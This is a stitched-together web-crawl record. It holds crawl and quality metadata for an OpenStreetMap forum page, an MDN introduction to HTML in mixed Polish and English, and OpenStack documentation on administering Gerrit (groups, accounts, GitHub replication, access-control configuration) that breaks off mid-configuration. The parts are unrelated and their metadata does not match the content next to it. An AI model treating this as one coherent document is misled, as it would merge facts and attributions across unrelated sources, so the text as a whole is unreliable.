"WARC-Payload-Digest": "sha1:JH7WDWQFWSVV4F4KMM4MSI4N6FFLOGRT",
"WARC-Record-ID": "<urn:uuid:c0f5cfec-28a1-4016-aa6d-756f1baa1dfb>",
"WARC-Target-URI": "https://help.openstreetmap.org/questions/28443/cilckable-routestrajectory-in-map",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:2483399a-c60c-49a3-93ad-53f8efb7d6ae>"
},
"warc_info": "isPartOf: CC-MAIN-2023-40\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for September/October 2023\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-154\r\nsoftware: Apache Nutch 1.19 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.5-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
68,
69,
73,
74,
206,
207,
328,
329,
402,
403,
465,
466,
599,
600,
624,
625,
649,
650,
657,
663,
679,
680,
705,
706,
739,
740,
756,
766,
767,
903,
904,
938,
939,
993,
1135,
1136,
1160,
1161,
1206,
1207,
1567,
1568,
1579,
1580,
1597,
1598,
1836,
1837,
1864,
1866,
1867,
2118,
2119,
2155,
2156,
2190,
2191,
2387,
2388,
2403,
2404,
2431,
2432,
2465,
2466,
2482,
2492,
2509,
2510,
2535,
2536,
2565,
2566,
2580,
2594,
2595,
2675,
2676,
2778,
2779,
2811,
2812,
2839,
2840,
3102,
3103,
3139,
3151,
3166,
3167,
3188,
3189,
3199,
3200,
3268,
3269,
3277,
3278,
3286,
3287,
3308,
3309,
3325,
3326,
3351,
3376,
3417,
3462,
3495,
3585,
3624,
3625,
3640,
3641,
3646,
3651,
3656,
3660,
3661,
3695,
3696,
3727,
3728,
3760,
3761
],
"line_end_idx": [
68,
69,
73,
74,
206,
207,
328,
329,
402,
403,
465,
466,
599,
600,
624,
625,
649,
650,
657,
663,
679,
680,
705,
706,
739,
740,
756,
766,
767,
903,
904,
938,
939,
993,
1135,
1136,
1160,
1161,
1206,
1207,
1567,
1568,
1579,
1580,
1597,
1598,
1836,
1837,
1864,
1866,
1867,
2118,
2119,
2155,
2156,
2190,
2191,
2387,
2388,
2403,
2404,
2431,
2432,
2465,
2466,
2482,
2492,
2509,
2510,
2535,
2536,
2565,
2566,
2580,
2594,
2595,
2675,
2676,
2778,
2779,
2811,
2812,
2839,
2840,
3102,
3103,
3139,
3151,
3166,
3167,
3188,
3189,
3199,
3200,
3268,
3269,
3277,
3278,
3286,
3287,
3308,
3309,
3325,
3326,
3351,
3376,
3417,
3462,
3495,
3585,
3624,
3625,
3640,
3641,
3646,
3651,
3656,
3660,
3661,
3695,
3696,
3727,
3728,
3760,
3761,
3776
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 3776,
"ccnet_original_nlines": 125,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.28125,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.025462960824370384,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.32754629850387573,
"rps_doc_frac_unique_words": 0.4595070481300354,
"rps_doc_mean_word_length": 5.123239517211914,
"rps_doc_num_sentences": 49,
"rps_doc_symbol_to_word_ratio": 0.003472219919785857,
"rps_doc_unigram_entropy": 5.203279495239258,
"rps_doc_word_count": 568,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.10996563732624054,
"rps_doc_frac_chars_dupe_6grams": 0.0632302388548851,
"rps_doc_frac_chars_dupe_7grams": 0.05704466998577118,
"rps_doc_frac_chars_dupe_8grams": 0.05704466998577118,
"rps_doc_frac_chars_dupe_9grams": 0.041237108409404755,
"rps_doc_frac_chars_top_2gram": 0.020618559792637825,
"rps_doc_frac_chars_top_3gram": 0.014432989992201328,
"rps_doc_frac_chars_top_4gram": 0.008247420191764832,
"rps_doc_books_importance": -370.3725891113281,
"rps_doc_books_importance_length_correction": -370.3725891113281,
"rps_doc_openwebtext_importance": -203.22348022460938,
"rps_doc_openwebtext_importance_length_correction": -203.22348022460938,
"rps_doc_wikipedia_importance": -164.80433654785156,
"rps_doc_wikipedia_importance_length_correction": -164.80433654785156
},
"fasttext": {
"dclm": 0.053437888622283936,
"english": 0.8416233062744141,
"fineweb_edu_approx": 1.7895113229751587,
"eai_general_math": 0.18116438388824463,
"eai_open_web_math": 0.10992658138275146,
"eai_web_code": 0.021410640329122543
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "004.0194",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
},
"secondary": {
"code": "910.285",
"labels": {
"level_1": "History and Geography",
"level_2": "Geography and Voyages and travels",
"level_3": ""
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "0",
"label": "No Artifacts"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "21",
"label": "Customer Support"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "3",
"label": "Mostly Correct"
},
"secondary": {
"code": "4",
"label": "Highly Correct"
}
},
"education_level": {
"primary": {
"code": "2",
"label": "High School Level"
},
"secondary": {
"code": "3",
"label": "Undergraduate Level"
}
}
} | 672f1e42c33a7f9846924a2431ea77df |
-1,460,602,929,234,267,100 | Wprowadzenie do HTML
Patrząc na stronę internetową w przeglądarce, widzisz na najprostszym poziomie słowa. Słowa te mają charakterytyczny styl, różnią się czcionkami , ich rozmiarem czy kolorem. W wielu przypadkach strona wyświetla również obrazy oraz filmy. Czasami na stronie znajdują się formularze gdzie możesz wprowadzić ( bądź wyszukać ) informacje, oraz dopasować wygląd strony pod siebie. Często strona posiada zawartość która się poruszą bądź zmienia podczas gdy reszta strony pozostaje niezmienna.
Kilka technologi (takich jak CSSJavaScriptFlashAJAXJSON) może być wykorzystanych do zdefiniowania elementów strony internetowej. Jednakże na najniższym poziomie strona internetowa jest zdefiniowana za pomocą HTML (HyperText Markup Language). Bez HTML nie ma strony internetowej. HTML jest powłoką która utrzymuje wszystko razem: międzynarodowym standardem którego specyfikacja jest zarządzana przez World Wide Web Consortium (W3C) and the Web Hypertext Application Technology Working Group (WHATWG). WHATWG traktuje HTML jako "żywy standard", który na bieżąco ewoluuje, podczas gdy W3C pracuje na obu "migawkach" HTML-a, najnowszą którą jest HTML5 oraz dalszą ewolucją HTML (HTML 5.1).
Specyfikacja HTML definiuje jeden język który może być napisany używając luźnej składni HTML, ale również bardziej restrykcyjnej wykorzystującej XML (Extensible Markup Language), która również odpowiada na potrzeby aplikacji internetowych. HTML nie opisuję styli formatowania treści, ale jedynie jej zawartość oraz jej znaczenie
Twórca strony internetowej może wykorzystać Kaskadowe arkusze styli (CSS) aby zdefiniować wygląd i rozmieszczenie tekstu i innych umieszczanych na stronie elementów. Najlepsze praktyki stosowane w tworzeniu stron internetowych zalecają stosowanie CSS zamiast wyrażnie prezentacyjnego HTML-a.
Ten artykuł przedstawia wprowadzenie do HTML-a. Jeśli kiedykolwiek zastanawiało Cię co dzieję się za kulisami twojej przeglądarki internetowej, ten artykuł to miejsce aby zacząć naukę.
A brief history of HTML
In the late 1980s, Tim Berners-Lee was working as a physicist at CERN (the European Organization for Nuclear Research). He devised a way for scientists to share documents over the internet. Prior to his invention, communication via the internet was limited to plain text, using technologies such as email, FTP (File Transfer Protocol), and Usenet-based discussion boards. The invention of HTML made use of a model of content stored on a central server that could be transferred and displayed on a local workstation via a browser. It simplified access to content and enabled the display of "rich" content (such as sophisticated text formatting and the display of images).
What is HTML?
HTML is a markup language. It tells the web browser what content to display. HTML separates "content" (words, images, audio, video, and so on) from "presentation" (the definition of the type of content and the instructions for how that type of content should be displayed). HTML uses a pre-defined set of elements to identify content types. Elements contain one or more "tags" that contain or express content. Tags are surrounded by angle brackets, and the "closing" tag (the one that indicates the end of the content) is prefixed by a forward slash.
For example, the paragraph element consists of the start tag "<p>" and the closing tag "</p>". The following example shows a paragraph contained within the HTML paragraph element:
<p>You are beginning to learn HTML.</p>
When this content is displayed in a web browser, it looks like this:
The browser uses the tags as an indicator of how to display the content in the tags.
Elements that contain content can usually also contain other elements. For example, the emphasis element ("<em>") can be embedded within a paragraph element, to add emphasis to a word or phrase:
<p>You are <em>beginning </em> to learn HTML.</p>
When displayed, this looks like:
Some elements do not contain other elements. For example, the image tag ("<img>") specifies the file name of the content (an image) as an attribute:
<img src="smileyface.jpg">
Often a forward slash is placed before the final angle bracket to indicate the end of the tag. This is optional in HTML but is required in XHTML (which is an XML schema that implements HTML elements).
The rest of this article goes into greater detail regarding the concepts introduced in this section. However, if you want to see HTML in action, check out Mozilla Thimble, which is an interactive online editor that teaches you how to write HTML markup. Also, see HTML Elements for a list of available elements and a description of their use.
Elements — the basic building blocks
HTML consists of a set of elements. Elements define the semantic meaning of their content. Elements include everything between two matching element tags, including the tags themselves. For example, the "<p>" element indicates a paragraph; the "<img>" element indicates an image. See the HTML Elements page for a complete list.
Some elements have very precise meaning, as in "this is an image", "this is a heading", or "this is an ordered list." Others are less specific, such as "this is a section on the page" or "this is part of the text." Yet others are used for technical reasons, such as "this is identifying information for the page that should not be displayed." Regardless, in one way or another all HTML elements have a semantic value.
Most elements may contain other elements, forming a hierarchic structure. A very simple but complete web page looks like this:
<html>
<body>
<p> you are in your begining stage of HTML</p>
</body>
</html>
As you can see, <html> elements surround the rest of the document, and <body> elements surround the page content. This structure is often thought of as a tree with branches (in this case, the <body> and <p> elements) growing from the trunk (<html>). This hierarchical structure is called the DOM: the Document Object Model.
Tags
HTML documents are written in plain text. They can be written in any text editor that allows content to be saved as plain text, such as Notepad, Notepad++, or Sublime, but most HTML authors prefer to use a specialized editor that highlights syntax and shows the DOM. Tag names may be written in either upper or lower case. However, the W3C (the global consortium that maintains the HTML standard) recommends using lower case (and XHTML requires lower case).
HTML attaches special meaning to anything that starts with the less-than sign ("<") and ends with the greater-than sign (">"). Such markup is called a tag. Make sure to close the tag, as some tags are closed by default, whereas others might produce unexpected errors if you forget the end tag.
Here is a simple example:
<p>This is text within a paragraph.</p>
In this example there is a start tag and a closing tag. Closing tags are the same as the start tag but also contain a forward slash immediately after the leading less-than sign. Most elements in HTML are written using both start and closing tags. Start and closing tags should be properly nested--that is, closing tags should be written in the opposite order of the start tags. Proper nesting is one rule that must be obeyed in order to write valid code.
This is an an example of valid code:
<em>I <strong>really</strong> mean that</em>.
This is an example of invalid code:
Invalid: <em>I <strong>really</em> mean that</strong>.
Note that in the valid example, the closing tag for the nested element is placed before the closing tag for the element in which it is nested. In the invalid code, they are nested.
Until the adoption of the HTML5 parsing rules, browsers didn't interpret invalid code in the same way and produced different results when they encountered invalid code. Browsers were forgiving to Web authors, but unfortunately not all in the same way, resulting in almost unpredictable results in case of invalid HTML. These days are over with the latest evolution of browsers, like Internet Explorer 10, Firefox 4, Opera 11.60, Chrome 18, or Safari 5, as they implement the now-standard invalid-code-parsing rules. Invalid code results in the same DOM tree on all modern browsers.
Some elements do not contain any text content or any other elements. These are empty elements and need no closing tag. This is an example:
<img src="smileyface.jpg">
Many people mark up empty elements using a trailing forward slash (which is mandatory in XHTML).
<img src="smileyface.jpg" />
In HTML this slash has no technical functionality and using it is a pure stylistic choice, though it is recommended to always close tags.
Attributes
The start tag may contain additional information, as in the preceding example. Such information is called an attribute. Attributes usually consist of 2 parts:
• An attribute name
• An attribute value
A few attributes can only have one value. They are Boolean attributes and may be shortened by only specifying the attribute name or leaving the attribute value empty. Thus, the following 3 examples have the same meaning:
<input required="required">
<input required="">
<input required>
Attribute values that consist of a single word or number may be written as they are, but as soon as there are two or more strings of characters in the value, it must be written within quotation marks. Both single quotes (') and double quotes (") are allowed. Many developers prefer to always use quotes to make the code less ambiguous to the eye and to avoid mistakes. The following is such a mistake:
<p class=foo bar> (Beware, this probably does not mean what you think it means.)
In this example the value was supposed to be "foo bar" but since there were no quotes the code is interpreted as if it had been written like this:
<p class="foo" bar="">
Named character references
Named character references (often casually called entities) are used to print characters that have a special meaning in HTML. For example, HTML interprets the less-than and greater-than symbols as tag delimiters. When you want to display a greater-than symbol in the text, you can use a named character reference. There are four common named character references one must know:
• > denotes the greater than sign (>)
• < denotes the less than sign (<)
• & denotes the ampersand (&)
• " denotes double quote (")
There are many more entities, but these four are the most important because they represent characters that have a special meaning in HTML.
Doctype and comments
In addition to tags, text content, and entities, an HTML document must contain a doctype declaration as the first line. The doctype declaration is not an HTML tag; it is an instruction to the web browser about what version of HTML the page is written in.
In HTML 4.01, doctype refers to a DTD (Document Type Definition) as it was based on SGML. There are three different doctype declarations in HTML 4.01.
HTML 4.01 Strict
This DTD contains all HTML elements and attributes, but does NOT INCLUDE presentational or deprecated elements (like font). Framesets are not allowed.
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
HTML 4.01 Transitional
This DTD contains all HTML elements and attributes, INCLUDING presentational and deprecated elements (like font). Framesets are not allowed.
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
HTML 4.01 Frameset
This DTD is equal to HTML 4.01 Transitional, but allows the use of frameset content.
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Frameset//EN" "http://www.w3.org/TR/html4/frameset.dtd">
In HTML 5, there is only one declaration and is written like this:
<!DOCTYPE html>
The doctype has a long and intricate history, but for now all you need to know is that this doctype tells the browser to interpret the HTML and CSS code according to W3C standards and not try to pretend that it is Internet Explorer from the 90's. (See quirks mode.)
HTML has a mechanism for embedding comments that are not displayed when the page is rendered in a browser. This is useful for explaining a section of markup, or leaving notes for other people who might work on the page, or for leaving reminders for yourself. HTML comments are enclosed in symbols as follows:
<!-- This is comment text -->
A complete but small document
Putting this together, here is a tiny example of an HTML document. You can copy this code to a text editor, save it as myfirstdoc.html, and load it in a browser. Make sure you are saving it using the character encoding UTF-8. Since this document uses no styling it will look very plain, but it is only a small start.
<!DOCTYPE html>
<html lang="en">
<head>
<title>A tiny document</title>
</head>
<body>
<h1>Main heading in my document</h1>
<!-- Note that it is "h" + "1", not "h" + the letters "one" -->
<p>Look Ma, I am coding <abbr title="Hyper Text Markup Language">HTML</abbr>.</p>
</body>
</html>
Autorzy i etykiety dokumentu
Autorzy tej strony: scx
Ostatnia aktualizacja: scx, | {
"url": "https://developer.mozilla.org/pl/docs/Web/Guide/HTML/Wprowadzenie",
"source_domain": "developer.mozilla.org",
"snapshot_id": "crawl=CC-MAIN-2016-44",
"warc_metadata": {
"Content-Length": "55558",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:VUMPKR3QPF5J5RUOLGEIWJMDEETC3L4I",
"WARC-Concurrent-To": "<urn:uuid:6af10c1a-0ce8-4673-b9a1-8abe0bf89301>",
"WARC-Date": "2016-10-27T23:31:14Z",
"WARC-IP-Address": "63.245.215.53",
"WARC-Identified-Payload-Type": null,
"WARC-Payload-Digest": "sha1:HHEKW7WJEVU7H5GQWIVCL75MFP7JYUNJ",
"WARC-Record-ID": "<urn:uuid:59b3f689-9559-4bd4-b7fe-4822f43e2a77>",
"WARC-Target-URI": "https://developer.mozilla.org/pl/docs/Web/Guide/HTML/Wprowadzenie",
"WARC-Truncated": "length",
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:acace54e-6b8f-4203-a1f6-28f11e23892c>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-171-6-4.ec2.internal\r\nsoftware: Nutch 1.6 (CC)/CC WarcExport 1.0\r\nisPartOf: CC-MAIN-2016-44\r\noperator: CommonCrawl Admin\r\ndescription: Wide crawl of the web for October 2016\r\npublisher: CommonCrawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
} | {
"line_start_idx": [
0,
21,
22,
510,
511,
1197,
1198,
1527,
1528,
1822,
1823,
2009,
2010,
2012,
2013,
2037,
2038,
2709,
2710,
2724,
2725,
3276,
3277,
3457,
3458,
3498,
3499,
3568,
3569,
3654,
3655,
3850,
3851,
3901,
3902,
3935,
3936,
4085,
4086,
4113,
4114,
4316,
4317,
4659,
4660,
4697,
4698,
5025,
5026,
5444,
5445,
5572,
5573,
5580,
5589,
5640,
5650,
5658,
5659,
5983,
5984,
5989,
5990,
6449,
6450,
6745,
6746,
6772,
6773,
6813,
6814,
7269,
7270,
7307,
7308,
7354,
7355,
7391,
7392,
7447,
7448,
7629,
7630,
8212,
8213,
8352,
8353,
8380,
8381,
8478,
8479,
8508,
8509,
8647,
8648,
8659,
8660,
8819,
8820,
8842,
8865,
8866,
9087,
9088,
9116,
9117,
9137,
9138,
9155,
9156,
9558,
9559,
9640,
9641,
9788,
9789,
9812,
9813,
9840,
9841,
10219,
10220,
10263,
10303,
10339,
10375,
10376,
10515,
10516,
10537,
10538,
10793,
10794,
10945,
10946,
10963,
10964,
11115,
11116,
11207,
11208,
11231,
11232,
11373,
11374,
11477,
11478,
11497,
11498,
11583,
11584,
11686,
11687,
11754,
11755,
11771,
11772,
12038,
12039,
12348,
12349,
12379,
12380,
12410,
12411,
12728,
12729,
12745,
12762,
12769,
12802,
12810,
12817,
12856,
12922,
13006,
13014,
13022,
13023,
13052,
13053,
13078
],
"line_end_idx": [
21,
22,
510,
511,
1197,
1198,
1527,
1528,
1822,
1823,
2009,
2010,
2012,
2013,
2037,
2038,
2709,
2710,
2724,
2725,
3276,
3277,
3457,
3458,
3498,
3499,
3568,
3569,
3654,
3655,
3850,
3851,
3901,
3902,
3935,
3936,
4085,
4086,
4113,
4114,
4316,
4317,
4659,
4660,
4697,
4698,
5025,
5026,
5444,
5445,
5572,
5573,
5580,
5589,
5640,
5650,
5658,
5659,
5983,
5984,
5989,
5990,
6449,
6450,
6745,
6746,
6772,
6773,
6813,
6814,
7269,
7270,
7307,
7308,
7354,
7355,
7391,
7392,
7447,
7448,
7629,
7630,
8212,
8213,
8352,
8353,
8380,
8381,
8478,
8479,
8508,
8509,
8647,
8648,
8659,
8660,
8819,
8820,
8842,
8865,
8866,
9087,
9088,
9116,
9117,
9137,
9138,
9155,
9156,
9558,
9559,
9640,
9641,
9788,
9789,
9812,
9813,
9840,
9841,
10219,
10220,
10263,
10303,
10339,
10375,
10376,
10515,
10516,
10537,
10538,
10793,
10794,
10945,
10946,
10963,
10964,
11115,
11116,
11207,
11208,
11231,
11232,
11373,
11374,
11477,
11478,
11497,
11498,
11583,
11584,
11686,
11687,
11754,
11755,
11771,
11772,
12038,
12039,
12348,
12349,
12379,
12380,
12410,
12411,
12728,
12729,
12745,
12762,
12769,
12802,
12810,
12817,
12856,
12922,
13006,
13014,
13022,
13023,
13052,
13053,
13078,
13106
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 13106,
"ccnet_original_nlines": 181,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.3420158624649048,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.04643262177705765,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.2023405134677887,
"rps_doc_frac_unique_words": 0.3487129807472229,
"rps_doc_mean_word_length": 5.024283409118652,
"rps_doc_num_sentences": 134,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 5.73387336730957,
"rps_doc_word_count": 2059,
"rps_doc_frac_chars_dupe_10grams": 0.01449976023286581,
"rps_doc_frac_chars_dupe_5grams": 0.047559209167957306,
"rps_doc_frac_chars_dupe_6grams": 0.039922669529914856,
"rps_doc_frac_chars_dupe_7grams": 0.03035283088684082,
"rps_doc_frac_chars_dupe_8grams": 0.03035283088684082,
"rps_doc_frac_chars_dupe_9grams": 0.01449976023286581,
"rps_doc_frac_chars_top_2gram": 0.006959879770874977,
"rps_doc_frac_chars_top_3gram": 0.0038666001055389643,
"rps_doc_frac_chars_top_4gram": 0.006669890135526657,
"rps_doc_books_importance": -1185.460205078125,
"rps_doc_books_importance_length_correction": -1185.460205078125,
"rps_doc_openwebtext_importance": -648.3334350585938,
"rps_doc_openwebtext_importance_length_correction": -648.3334350585938,
"rps_doc_wikipedia_importance": -462.4232482910156,
"rps_doc_wikipedia_importance_length_correction": -462.4232482910156
},
"fasttext": {
"dclm": 0.7640713453292847,
"english": 0.6323886513710022,
"fineweb_edu_approx": 3.3080592155456543,
"eai_general_math": 0.8538540601730347,
"eai_open_web_math": 0.4037420153617859,
"eai_web_code": 0.9148756265640259
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.4",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "004.0151",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "2",
"label": "Understand"
},
"secondary": {
"code": "3",
"label": "Apply"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "2",
"label": "Conceptual"
},
"secondary": {
"code": "3",
"label": "Procedural"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "23",
"label": "Tutorial"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "2",
"label": "High School Level"
},
"secondary": {
"code": "1",
"label": "General Audience"
}
}
} | 672f1e42c33a7f9846924a2431ea77df |
-8,703,629,621,795,375,000 | Gerrit
Gerrit is the code review system used by the OpenStack project. For a full description of how the system fits into the OpenStack workflow, see the development workflow guide.
This section describes how Gerrit is configured for use in the OpenStack project and the tools used to manage that configuration.
Installation
Gerrit is installed and configured by Puppet, including specifying the exact Java WAR file that is used. See System Administration for how Puppet is used to manage OpenStack infrastructure systems.
Cinder Volumes
The Gerrit installation at /home/gerrit2 is located on a Cinder volume. See Cinder Volume Management for details on volume management. Note that SSD volumes are used (and they have a minimum size of 100G).
Gerrit Configuration
Most of Gerrit’s configuration is in configuration files or Git repositories (and in our case, managed by Puppet), but a few items must be configured in the database. The following is a record of these changes:
Add information about the CLA:
sudo -u root
mysql
use reviewdb;
insert into contributor_agreements values (
'Y', 'Y', 'Y', 'ICLA',
'OpenStack Individual Contributor License Agreement',
'static/cla.html', 2);
Groups
A number of system-wide groups are configured in Gerrit (rather than via Puppet). When installing a new Gerrit, you should create these by hand (and capture their UUID - you will need them to setup the ACLs later).
The Project Bootstrappers group grants all the permissions needed to set up a new project. Normally, the OpenStack Project Creater account is the only member of this group, but members of the Administrators group may temporarily add themselves in order to correct problems with automatic project creation.
The Third-Party CI group is used to grant +/-1 Verified access to external testing tools on a sandbox project.
The Voting Third-Party CI group is used to grant +/-1 Verified access to external testing tools for all projects.
The Continuous Integration Tools group contains Zuul and any other CI tools that get +2/-2 access on reviews.
The Release Managers group is used for release managers.
Users
The first user to log in becomes an administrator. Be sure to set an account name and add ssh keys - you’ll need those.
Once you’ve created your groups you should create the openstack-project-creator account by hand (the account name is referenced from system-config: modules/openstack_project/templates/review.projects.ini.erb) using:
cat $pubkey | ssh -p 29418 $USER@$HOST gerrit create-account \
--group "'Project Bootstrappers'" \
--group Administrators \
--full-name "'Project Creator'" \
--email [email protected] \
--ssh-key - openstack-project-creator
GitHub Integration
Gerrit replicates to GitHub by pushing to a standard Git remote. The GitHub projects are configured to allow only the Gerrit user to push.
Pull requests can not be disabled for a project in Github, so instead we have a script that runs from cron to close any open pull requests with instructions to use Gerrit.
These are both handled automatically by Jeepyb.
Note that the user running Gerrit will need to accept the GitHub host keys. e.g.:
sudo su - gerrit2
ssh github.com
Troubleshooting
When creating a new project, there can be times where the Jeepyb automation to create the GitHub project can fail, and leave the project improperly configured. This can cause replication to GitHub to fail. The project in GitHub will be created, but will appear empty. When trying replication from Gerrit, it will show a Permission denied error when trying to push content. To solve that, following steps are needed:
1. Login into github.com, using openstack-project-creator user.
2. Navigate to the failed repository, and enter on Settings > Collaborators & teams option.
3. Add Gerrit as Team member to that project.
After the team has been added, project will start replicating successfully to GitHub.
Auto Review Expiry
Puppet automatically installs a daily cron job called expire-old-reviews onto the Gerrit servers. This script follows two rules:
1. If the review hasn’t been touched in 2 weeks, mark as abandoned.
2. If there is a negative review and it hasn’t been touched in 1 week, mark as abandoned.
If your review gets touched by either of these rules, it is possible to unabandon a review on the Gerrit web interface.
This process is managed by the Jeepyb openstack-infra project.
Gerrit IRC Bot
Gerritbot consumes the Gerrit event stream and announces relevant events on IRC. Gerritbot is an openstack-infra project and is also available on Pypi.
Launchpad Bug Integration
In addition to the hyperlinks provided by the regex in gerrit.config, we use a Gerrit hook to update Launchpad bugs when changes referencing them are applied. This is managed by the Jeepyb openstack-infra project.
Storyboard Integration
We use the Gerrit its-storyboard plugin to update StoryBoard stories and tasks when changes referencing them are applied.
New Project Creation
Gerrit project creation is now managed through changes to the openstack/project-config repository. Jeepyb handles automatically creating any new projects defined in the configuration files.
Local Git Replica
Gerrit replicates all repos to a local directory so that Apache can serve the anonymous http requests out directly. This is automatically configured by Jeepyb.
Access Controls
High level goals:
1. Anonymous users can read all projects.
2. All registered users can perform informational code review (+/-1) on any project.
3. Zuul can perform verification (blocking or approving: +/-2).
4. Third Party CI systems can perform informational verification (+/-1).
5. All registered users can create changes.
6. The OpenStack Release Manager and Zuul can tag releases (push annotated tags).
7. Members of $PROJECT-core group can perform full code review (blocking or approving: +/- 2), and submit changes to be merged.
8. Members of Release Managers (Release Manager and delegates), and $PROJECT-milestone (PTL and release minded people) exclusively can perform full code review (blocking or approving: +/- 2), and submit changes to be merged on pre-release stable/* branches.
9. Members of Release Managers can create and remove stable branches, tag stable branches for EOL and abandon changes on EOL branches.
10. Full code review (+/- 2) of API projects (documentation of the API, not implementation of the API) should be available to the -core group of the corresponding implementation project as well as to the OpenStack Documentation Coordinators.
11. Full code review of stable branches should be available to the -stable-maint group of the project.
12. Drivers (PTL and delegates) of client library projects should be able to add tags (which are automatically used to trigger releases).
To manage API project permissions collectively across projects, API projects are reparented to the “API-Projects” meta-project instead of “All-Projects”. This causes them to inherit permissions from the API-Projects project (which, in turn, inherits from All-Projects).
The global Gerrit permissions set out the high level goals (and manage-projects can then override this on a per project basis as needed). To setup the global permissions, first create the groups covered above under Groups.
You need to grant yourself enough access to replace the ACLs over ssh (we use SSH because it’s fast, and it gets syntax checked).
1. Visit https://$HOST/#/admin/projects/All-Projects,access and click on Edit.
2. Look for the reference to ‘refs/meta/config’, click on the drop-box for ‘add permission’ and choose ‘PUSH’.
3. Type in Administrators as the group name
4. Click on Add
5. Click on Save Changes
Then… we need to fetch the All-Projects ACLs, update them, then push the updates back into Gerrit:
export USER=$your_gerrit_user
export HOST=$your_gerrit_host
cd $anywhereyoulike
mkdir All-Projects-ACLs
cd All-Projects-ACLs
git init
git remote add gerrit ssh://$USER@$HOST:29418/All-Projects.git
git fetch gerrit +refs/meta/*:refs/remotes/gerrit-meta/*
git checkout -b config remotes/gerrit-meta/config
There will be two interesting files, groups and project.config. groups contains UUIDs and names of groups that will be referenced in project.config. UUIDs can be found on the group page in Gerrit. Next, edit project.config to look like:
[access "refs/*"]
create = group Project Bootstrappers
create = group Release Managers
forgeAuthor = group Registered Users
forgeCommitter = group Project Bootstrappers
push = +force group Project Bootstrappers
pushMerge = group Project Bootstrappers
pushSignedTag = group Project Bootstrappers
pushTag = group Continuous Integration Tools
pushTag = group Project Bootstrappers
pushTag = group Release Managers
read = group Anonymous Users
editTopicName = group Registered Users
abandon = group Release Managers
[access "refs/drafts/*"]
push = block group Registered Users
[access "refs/for/refs/*"]
push = group Registered Users
[access "refs/for/refs/zuul/*"]
pushMerge = group Continuous Integration Tools
[access "refs/heads/*"]
label-Code-Review = -2..+2 group Project Bootstrappers
label-Code-Review = -1..+1 group Registered Users
label-Verified = -2..+2 group Continuous Integration Tools
label-Verified = -2..+2 group Project Bootstrappers
label-Verified = -1..+1 group Continuous Integration Tools Development
